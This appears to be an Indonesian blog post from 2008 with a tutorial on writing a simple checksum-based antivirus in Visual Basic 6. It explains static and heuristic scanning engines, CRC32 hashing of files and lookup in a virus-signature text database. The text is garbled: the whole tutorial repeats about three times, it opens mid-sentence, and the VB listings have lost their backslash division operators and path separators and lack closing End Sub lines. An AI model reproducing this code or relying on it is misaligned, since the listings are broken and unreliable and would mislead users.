Maka isi dari string calCrc adalah 7AF9E376, sedangkan untuk MD5nya adalah 529CA8050A00180790CF88B63468826A. Perlu diketahui bila virus menerapkan rutin yang mengubah byte tertentu dari badan virus tsb setiap kali maka penggunaan engine checksum ini akan kurang optimal karena bila 1 byte berubah dari file maka checksum juga akan berubah.
Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :
1. Software Visual Basic 6.0
2. Sedikit pemahaman akan pemograman Visual Basic 6.0
3. Sampel file bersih atau virus (– opsional)
First#
Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0) Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :
================= START HERE ====================
Private crcTable(0 To 255) As Long ‘crc32
Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long
‘bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file
Dim lCurPos As Long ‘Current position untuk iterasi proses array bArrayIn
Dim lTemp As Long ‘variabel temp hasil perhitungan
If lLen = 0 Then Exit Function ‘keluar fungsi apabila ukuran file = 0
lTemp = lcrc Xor &HFFFFFFFF
For lCurPos = 0 To lLen
lTemp = (((lTemp And &HFFFFFF00) &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))
Next lCurPos
CRC32 = lTemp Xor &HFFFFFFFF
End Function
Private Function BuildTable() As Boolean
Dim i As Long, x As Long, crc As Long
Const Limit = &HEDB88320
For i = 0 To 255
crc = i
For x = 0 To 7
If crc And 1 Then
crc = (((crc And &HFFFFFFFE) 2) And &H7FFFFFFF) Xor Limit
Else
crc = ((crc And &HFFFFFFFE) 2) And &H7FFFFFFF
End If
Next x
crcTable(i) = crc
Next i
End Function
Private Sub Class_Initialize()
BuildTable
End Sub
================= END HERE ====================
Lalu ketikkan kode berikut dalam event Command1_Click :
================= START HERE ====================
Dim namaFileBuka As String, HasilCrc As String
Dim CCrc As New clsCrc ‘bikin objek baru dari class ClsCrc
Dim calCrc As Long
Dim tmp() As Byte ‘array buat file yang dibaca
Private Sub Command1_Click()
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog
On Error GoTo erorhandle ‘label error handle
CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1) - 1) As Byte ‘deklarasi ulang untuk array, # Bugs Fixed #
Get #1, , tmp()
Close #1
calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC
HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
Text1.Text = HasilCrc ‘tampilkan hasilnya
Exit Sub
erorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file
================= END HERE ====================
COba anda jalankan program diatas dengan memencet tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka program akan menampilkan CRC32nya.
Second#
Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file suspect virus dengan antara membandingkan hasil CRC32nya dan database CRC kita sendiri. Algoritmanya adalah :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
- Buka file database
- Ambil isi file baris demi baris
- Samakan Checksum hasil perhitungan dengan checksum dari file
Format file database dapat kita tentukan sendiri, misal :
- FluBurung.A=ABCDEFGH
- Diary.A=12345678
Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika kita mempunyai format file seperti diatas, maka kita perlu membaca file secara sekuensial per baris serta memisahkan antara nama virus dan Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter ‘=’.
Buat 1 module baru (– diberi nama module1) lalu isi dengan kode :
================= START HERE ====================
Public namaVirus As String, CrcVirus As String ‘deklarasi variabel global untuk nama dan CRC virus Public pathExe as String ‘deklarasi variabel penyimpan lokasi file EXE AV kita
Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean
Dim lineStr As String, tmp() As String ‘variabel penampung untuk isi file
Open namaFileDB For Input As #1 ‘buka file dengan mode input
Do
Line Input #1, lineStr
tmp = Split(lineStr, “=”) ‘pisahkan isi file bedasarkan pemisah karakter ‘=’
namaVirus = tmp(0) ‘masukkan namavirus ke variabel dari array
CrcVirus = tmp(1) ‘masukkan Crcvirus ke variabel dari array
If CrcVirus = Crc Then ‘bila CRC perhitungan cocok/match dengan database
cariDatabase = True ‘kembalikan nilai TRUE
Exit Do ‘keluar dari perulangan
End If
Loop Until EOF(1)
Close #1
End Function
================= END HERE ====================
Lalu tambahkan 1 objek baru kedalam Form, yaitu Command button2. lalu ketikkan listing kode berikut kedalam event Command2_Click :
================= START HERE ====================
If Len(App.Path) <= 3 Then ‘bila direktori kita adalah root direktori
pathEXE = App.Path
Else
pathEXE = App.Path & “”
End If
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog
On Error GoTo erorhandle ‘label error handle
CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1) - 1) As Byte ‘deklarasi ulang untuk array # Bugs Fixed #
Get #1, , tmp()
Close #1
calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC
HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
If cariDatabase(HasilCrc, pathEXE & “DB.txt”) Then ‘bila fungsi bernilai TRUE
MsgBox “Virus ditemukan : ” & namaVirus ‘tampilkan message Box
End If
Exit Sub
erorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file
================= END HERE ====================
DevilG
12-18-2008, 07:24 PM
Fitur AV sederhana ini dapat ditambahkan dengan fitur process scanner, akses registry, real-time protection (RTP) dan lain lain. Untuk process scanner pada dasarnya adalah teknik enumerasi seluruh proses yang sedang berjalan pada Sistem Operasi, lalu mencari letak atau lokasi file dan melakukan proses scanning. Fitur akses registry memungkinkan kita untuk mengedit secara langsung registry windows apabila akses terhadap registry (–Regedit) diblok oleh virus. Sedangkan fitur RTP memungkinkan AV kita berjalan secara simultan dengan windows explorer untuk mengscan direktori atau file yang sedang kita browse atau lihat. Untuk ketiga fitur lanjutan ini akan dibahas pada artikel selanjutnya.
Kesimpulan#
Tidak harus membeli software AV yang mahal untuk menjaga komputer kita dari ancaman virus, kita bisa membuatnya sendiri dengan fitur-fitur yang tak kalah bagusnya. Memang terdapat ketidaksempurnaan dalam AV buatan sendiri ini, tetapi setidaknya dapat dijadikan pencegah dari infeksi virus komputer yang semakin merajalela. Software AV sederhana ini dilengkapi oleh engine scanner statis dan database definisi.
jadi, kalo mw buad AV yang aseli buatan kamuw, Silakan coba deh.
Kesimpulan#
Tidak harus membeli software AV yang mahal untuk menjaga komputer kita dari ancaman virus, kita bisa membuatnya sendiri dengan fitur-fitur yang tak kalah bagusnya. Memang terdapat ketidaksempurnaan dalam AV buatan sendiri ini, tetapi setidaknya dapat dijadikan pencegah dari infeksi virus komputer yang semakin merajalela. Software AV sederhana ini dilengkapi oleh engine scanner statis dan database definisi.
jadi, kalo mw buad AV yang aseli buatan kamuw, Silakan coba deh.
cara membuat anti virus sederhana
Cara Kerja AV(Antivirus) sederhana..
1. Engine scanner, ini merupakan komponen utama AV dalam mengenali sebuah pattern virus. Engine ini dapat dikelompokkan menjadi statis dan dinamis. Statis dalam hal ini dapat disebut menjadi spesifik terhadap pattern tertentu dari sebuah file virus. Checksum merupakan salah satu contoh dari engine statis ini. Dinamis dalam artian dia mengenali perilaku ‘umum’ sebuah virus. Heuristic menjadi salah satu contohnya.
2. Database definition, menjadi sebuah referensi dari sebuah pattern file virus. Engine statis sangat bergantung kepada komponen ini.
3. Decompress atau unpacking engine, khusus untuk pengecekan file-file yang terkompresi (*.rar, *.zip, dll) atau kompresi atau packing untuk file PE seperti UPX, MeW , dll.
Tidak jarang hasil dari pengecekan terhadap file suspect virus menghasilkan false-positive bahkan false-negative (– false-positive berarti file yang bersih dianggap thread oleh AV, dan false-negative berarti file yang 100% thread akan dianggap bersih). Semua itu dapat diakibatkan oleh ketidak-sempurnaan dari engine scanner itu sendiri. Misal
pada contoh kasus Engine String scanner (–Engine scanner yang menyeleksi string-string dari file text-based), bila diterapkan rule 3 out of 5 (– bila AV menemukan 3 dari daftar 5 string kategori malicious) maka AV akan memberikan bahwa file terindikasi sebuah thread yang positif. Padahal file tsb nyatanya tidak menimbulkan efek berbahaya bila dijalankan atau dieksekusi. Kesalahan scanning macam ini lazim ditemukan untuk file-file *.VBS, *.HTML, dll. Untuk penggunaan engine checksum sangat banyak ditemui di beberapa software AV lokal. Checksum yang lazim digunakan diantaranya CRC16, CRC32, MD5, dll. Dikarenakan mudah untuk diimplementasikan. Engine ini sendiri bukannya tanpa cacat, Checksum bekerja dengan memproses byte demi byte dari sebuah file dengan sebuah algoritma tertenu (– tergantung dari jenis checksum yang digunakan) sehingga menghasilkan sebuah format tertentu dari file tsb. Contoh checksum menggunakan CRC32 dan MD5 :
* calCrc = CRC32(file_name_and_path)
* calMD5 = MD5(file_name_and_path)
Maka isi dari string calCrc adalah 7AF9E376, sedangkan untuk MD5nya adalah 529CA8050A00180790CF88B63468826A. Perlu diketahui bila virus menerapkan rutin yang mengubah byte tertentu dari badan virus tsb setiap kali maka penggunaan engine checksum ini akan kurang optimal karena bila 1 byte berubah dari file maka checksum juga akan berubah.
Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :
1. Software Visual Basic 6.0
2. Sedikit pemahaman akan pemograman Visual Basic 6.0
3. Sampel file bersih atau virus (– opsional)
First#
Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0) Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :
================= START HERE ====================
Private crcTable(0 To 255) As Long ‘crc32
Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long
‘bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file
Dim lCurPos As Long ‘Current position untuk iterasi proses array bArrayIn
Dim lTemp As Long ‘variabel temp hasil perhitungan
If lLen = 0 Then Exit Function ‘keluar fungsi apabila ukuran file = 0
lTemp = lcrc Xor &HFFFFFFFF
For lCurPos = 0 To lLen
lTemp = (((lTemp And &HFFFFFF00) &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))
Next lCurPos
CRC32 = lTemp Xor &HFFFFFFFF
End Function
Private Function BuildTable() As Boolean
Dim i As Long, x As Long, crc As Long
Const Limit = &HEDB88320
For i = 0 To 255
crc = i
For x = 0 To 7
If crc And 1 Then
crc = (((crc And &HFFFFFFFE) 2) And &H7FFFFFFF) Xor Limit
Else
crc = ((crc And &HFFFFFFFE) 2) And &H7FFFFFFF
End If
Next x
crcTable(i) = crc
Next i
End Function
Private Sub Class_Initialize()
BuildTable
End Sub
================= END HERE ====================
Lalu ketikkan kode berikut dalam event Command1_Click :
================= START HERE ====================
Dim namaFileBuka As String, HasilCrc As String
Dim CCrc As New clsCrc ‘bikin objek baru dari class ClsCrc
Dim calCrc As Long
Dim tmp() As Byte ‘array buat file yang dibaca
Private Sub Command1_Click()
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog
On Error GoTo erorhandle ‘label error handle
CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1) - 1) As Byte ‘deklarasi ulang untuk array, # Bugs Fixed #
Get #1, , tmp()
Close #1
calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC
HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
Text1.Text = HasilCrc ‘tampilkan hasilnya
Exit Sub
erorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file
================= END HERE ====================
COba anda jalankan program diatas dengan memencet tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka program akan menampilkan CRC32nya.
Second#
Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file suspect virus dengan antara membandingkan hasil CRC32nya dan database CRC kita sendiri. Algoritmanya adalah :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
- Buka file database
- Ambil isi file baris demi baris
- Samakan Checksum hasil perhitungan dengan checksum dari file
Format file database dapat kita tentukan sendiri, misal :
- FluBurung.A=ABCDEFGH
- Diary.A=12345678
Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika kita mempunyai format file seperti diatas, maka kita perlu membaca file secara sekuensial per baris serta memisahkan antara nama virus dan Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter ‘=’.
Buat 1 module baru (– diberi nama module1) lalu isi dengan kode :
================= START HERE ====================
Public namaVirus As String, CrcVirus As String ‘deklarasi variabel global untuk nama dan CRC virus Public pathExe as String ‘deklarasi variabel penyimpan lokasi file EXE AV kita
Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean
Dim lineStr As String, tmp() As String ‘variabel penampung untuk isi file
Open namaFileDB For Input As #1 ‘buka file dengan mode input
Do
Line Input #1, lineStr
tmp = Split(lineStr, “=”) ‘pisahkan isi file bedasarkan pemisah karakter ‘=’
namaVirus = tmp(0) ‘masukkan namavirus ke variabel dari array
CrcVirus = tmp(1) ‘masukkan Crcvirus ke variabel dari array
If CrcVirus = Crc Then ‘bila CRC perhitungan cocok/match dengan database
cariDatabase = True ‘kembalikan nilai TRUE
Exit Do ‘keluar dari perulangan
End If
Loop Until EOF(1)
Close #1
End Function
================= END HERE ====================
Lalu tambahkan 1 objek baru kedalam Form, yaitu Command button2. lalu ketikkan listing kode berikut kedalam event Command2_Click :
================= START HERE ====================
If Len(App.Path) <= 3 Then ‘bila direktori kita adalah root direktori
pathEXE = App.Path
Else
pathEXE = App.Path & “”
End If
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog
On Error GoTo erorhandle ‘label error handle
CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1) - 1) As Byte ‘deklarasi ulang untuk array # Bugs Fixed #
Get #1, , tmp()
Close #1
calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC
HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
If cariDatabase(HasilCrc, pathEXE & “DB.txt”) Then ‘bila fungsi bernilai TRUE
MsgBox “Virus ditemukan : ” & namaVirus ‘tampilkan message Box
End If
Exit Sub
erorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file
================= END HERE ====================
1. Engine scanner, ini merupakan komponen utama AV dalam mengenali sebuah pattern virus. Engine ini dapat dikelompokkan menjadi statis dan dinamis. Statis dalam hal ini dapat disebut menjadi spesifik terhadap pattern tertentu dari sebuah file virus. Checksum merupakan salah satu contoh dari engine statis ini. Dinamis dalam artian dia mengenali perilaku ‘umum’ sebuah virus. Heuristic menjadi salah satu contohnya.
2. Database definition, menjadi sebuah referensi dari sebuah pattern file virus. Engine statis sangat bergantung kepada komponen ini.
3. Decompress atau unpacking engine, khusus untuk pengecekan file-file yang terkompresi (*.rar, *.zip, dll) atau kompresi atau packing untuk file PE seperti UPX, MeW , dll.
Tidak jarang hasil dari pengecekan terhadap file suspect virus menghasilkan false-positive bahkan false-negative (– false-positive berarti file yang bersih dianggap thread oleh AV, dan false-negative berarti file yang 100% thread akan dianggap bersih). Semua itu dapat diakibatkan oleh ketidak-sempurnaan dari engine scanner itu sendiri. Misal
pada contoh kasus Engine String scanner (–Engine scanner yang menyeleksi string-string dari file text-based), bila diterapkan rule 3 out of 5 (– bila AV menemukan 3 dari daftar 5 string kategori malicious) maka AV akan memberikan bahwa file terindikasi sebuah thread yang positif. Padahal file tsb nyatanya tidak menimbulkan efek berbahaya bila dijalankan atau dieksekusi. Kesalahan scanning macam ini lazim ditemukan untuk file-file *.VBS, *.HTML, dll. Untuk penggunaan engine checksum sangat banyak ditemui di beberapa software AV lokal. Checksum yang lazim digunakan diantaranya CRC16, CRC32, MD5, dll. Dikarenakan mudah untuk diimplementasikan. Engine ini sendiri bukannya tanpa cacat, Checksum bekerja dengan memproses byte demi byte dari sebuah file dengan sebuah algoritma tertenu (– tergantung dari jenis checksum yang digunakan) sehingga menghasilkan sebuah format tertentu dari file tsb. Contoh checksum menggunakan CRC32 dan MD5 :
* calCrc = CRC32(file_name_and_path)
* calMD5 = MD5(file_name_and_path)
Maka isi dari string calCrc adalah 7AF9E376, sedangkan untuk MD5nya adalah 529CA8050A00180790CF88B63468826A. Perlu diketahui bila virus menerapkan rutin yang mengubah byte tertentu dari badan virus tsb setiap kali maka penggunaan engine checksum ini akan kurang optimal karena bila 1 byte berubah dari file maka checksum juga akan berubah.
Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :
1. Software Visual Basic 6.0
2. Sedikit pemahaman akan pemograman Visual Basic 6.0
3. Sampel file bersih atau virus (– opsional)
First#
Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0) Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :
================= START HERE ====================
Private crcTable(0 To 255) As Long ‘crc32
Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long
‘bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file
Dim lCurPos As Long ‘Current position untuk iterasi proses array bArrayIn
Dim lTemp As Long ‘variabel temp hasil perhitungan
If lLen = 0 Then Exit Function ‘keluar fungsi apabila ukuran file = 0
lTemp = lcrc Xor &HFFFFFFFF
For lCurPos = 0 To lLen
lTemp = (((lTemp And &HFFFFFF00) &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))
Next lCurPos
CRC32 = lTemp Xor &HFFFFFFFF
End Function
Private Function BuildTable() As Boolean
Dim i As Long, x As Long, crc As Long
Const Limit = &HEDB88320
For i = 0 To 255
crc = i
For x = 0 To 7
If crc And 1 Then
crc = (((crc And &HFFFFFFFE) 2) And &H7FFFFFFF) Xor Limit
Else
crc = ((crc And &HFFFFFFFE) 2) And &H7FFFFFFF
End If
Next x
crcTable(i) = crc
Next i
End Function
Private Sub Class_Initialize()
BuildTable
End Sub
================= END HERE ====================
Lalu ketikkan kode berikut dalam event Command1_Click :
================= START HERE ====================
Dim namaFileBuka As String, HasilCrc As String
Dim CCrc As New clsCrc ‘bikin objek baru dari class ClsCrc
Dim calCrc As Long
Dim tmp() As Byte ‘array buat file yang dibaca
Private Sub Command1_Click()
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog
On Error GoTo erorhandle ‘label error handle
CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1) - 1) As Byte ‘deklarasi ulang untuk array, # Bugs Fixed #
Get #1, , tmp()
Close #1
calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC
HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
Text1.Text = HasilCrc ‘tampilkan hasilnya
Exit Sub
erorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file
================= END HERE ====================
COba anda jalankan program diatas dengan memencet tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka program akan menampilkan CRC32nya.
Second#
Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file suspect virus dengan antara membandingkan hasil CRC32nya dan database CRC kita sendiri. Algoritmanya adalah :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
- Buka file database
- Ambil isi file baris demi baris
- Samakan Checksum hasil perhitungan dengan checksum dari file
Format file database dapat kita tentukan sendiri, misal :
- FluBurung.A=ABCDEFGH
- Diary.A=12345678
Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika kita mempunyai format file seperti diatas, maka kita perlu membaca file secara sekuensial per baris serta memisahkan antara nama virus dan Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter ‘=’.
Buat 1 module baru (– diberi nama module1) lalu isi dengan kode :
================= START HERE ====================
Public namaVirus As String, CrcVirus As String ‘deklarasi variabel global untuk nama dan CRC virus Public pathExe as String ‘deklarasi variabel penyimpan lokasi file EXE AV kita
Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean
Dim lineStr As String, tmp() As String ‘variabel penampung untuk isi file
Open namaFileDB For Input As #1 ‘buka file dengan mode input
Do
Line Input #1, lineStr
tmp = Split(lineStr, “=”) ‘pisahkan isi file bedasarkan pemisah karakter ‘=’
namaVirus = tmp(0) ‘masukkan namavirus ke variabel dari array
CrcVirus = tmp(1) ‘masukkan Crcvirus ke variabel dari array
If CrcVirus = Crc Then ‘bila CRC perhitungan cocok/match dengan database
cariDatabase = True ‘kembalikan nilai TRUE
Exit Do ‘keluar dari perulangan
End If
Loop Until EOF(1)
Close #1
End Function
================= END HERE ====================
Lalu tambahkan 1 objek baru kedalam Form, yaitu Command button2. lalu ketikkan listing kode berikut kedalam event Command2_Click :
================= START HERE ====================
If Len(App.Path) <= 3 Then ‘bila direktori kita adalah root direktori
pathEXE = App.Path
Else
pathEXE = App.Path & “”
End If
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog
On Error GoTo erorhandle ‘label error handle
CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1) - 1) As Byte ‘deklarasi ulang untuk array # Bugs Fixed #
Get #1, , tmp()
Close #1
calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC
HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
If cariDatabase(HasilCrc, pathEXE & “DB.txt”) Then ‘bila fungsi bernilai TRUE
MsgBox “Virus ditemukan : ” & namaVirus ‘tampilkan message Box
End If
Exit Sub
erorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file
================= END HERE ====================
DevilG
12-18-2008, 07:24 PM
Fitur AV sederhana ini dapat ditambahkan dengan fitur process scanner, akses registry, real-time protection (RTP) dan lain lain. Untuk process scanner pada dasarnya adalah teknik enumerasi seluruh proses yang sedang berjalan pada Sistem Operasi, lalu mencari letak atau lokasi file dan melakukan proses scanning. Fitur akses registry memungkinkan kita untuk mengedit secara langsung registry windows apabila akses terhadap registry (–Regedit) diblok oleh virus. Sedangkan fitur RTP memungkinkan AV kita berjalan secara simultan dengan windows explorer untuk mengscan direktori atau file yang sedang kita browse atau lihat. Untuk ketiga fitur lanjutan ini akan dibahas pada artikel selanjutnya.
Kesimpulan#
Tidak harus membeli software AV yang mahal untuk menjaga komputer kita dari ancaman virus, kita bisa membuatnya sendiri dengan fitur-fitur yang tak kalah bagusnya. Memang terdapat ketidaksempurnaan dalam AV buatan sendiri ini, tetapi setidaknya dapat dijadikan pencegah dari infeksi virus komputer yang semakin merajalela. Software AV sederhana ini dilengkapi oleh engine scanner statis dan database definisi.
jadi, kalo mw buad AV yang aseli buatan kamuw, Silakan coba deh.
Kesimpulan#
Tidak harus membeli software AV yang mahal untuk menjaga komputer kita dari ancaman virus, kita bisa membuatnya sendiri dengan fitur-fitur yang tak kalah bagusnya. Memang terdapat ketidaksempurnaan dalam AV buatan sendiri ini, tetapi setidaknya dapat dijadikan pencegah dari infeksi virus komputer yang semakin merajalela. Software AV sederhana ini dilengkapi oleh engine scanner statis dan database definisi.
jadi, kalo mw buad AV yang aseli buatan kamuw, Silakan coba deh.
Langganan:
Postingan (Atom)